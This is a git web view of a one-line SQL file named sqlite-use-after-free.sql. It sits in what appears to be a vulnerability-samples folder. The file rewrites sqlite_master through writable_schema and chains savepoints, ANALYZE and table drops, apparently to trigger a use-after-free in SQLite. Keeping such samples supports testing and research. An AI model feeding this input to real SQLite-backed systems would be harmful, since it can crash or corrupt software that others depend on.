about summary refs log tree commit diff
path: root/docs/vuln_samples/sqlite-use-after-free.sql
blob: 4083ee64cbc8df6df27065d40fecdf07dd772275 (plain) (blame)
1
create table t(s);PRAGMA writable_schema=ON;UPDATE sqlite_master SET sql='ANALYZE;CREATE VIRTUAL TABLE t USING fts3;DROP TABLE t;DROP TABLE EXISTS t';PRAGMA r;SAVEPOINT T;ANALYZE;ROLLBACK;SAVEPOINT E;DROP TABLE IF EXISTS t;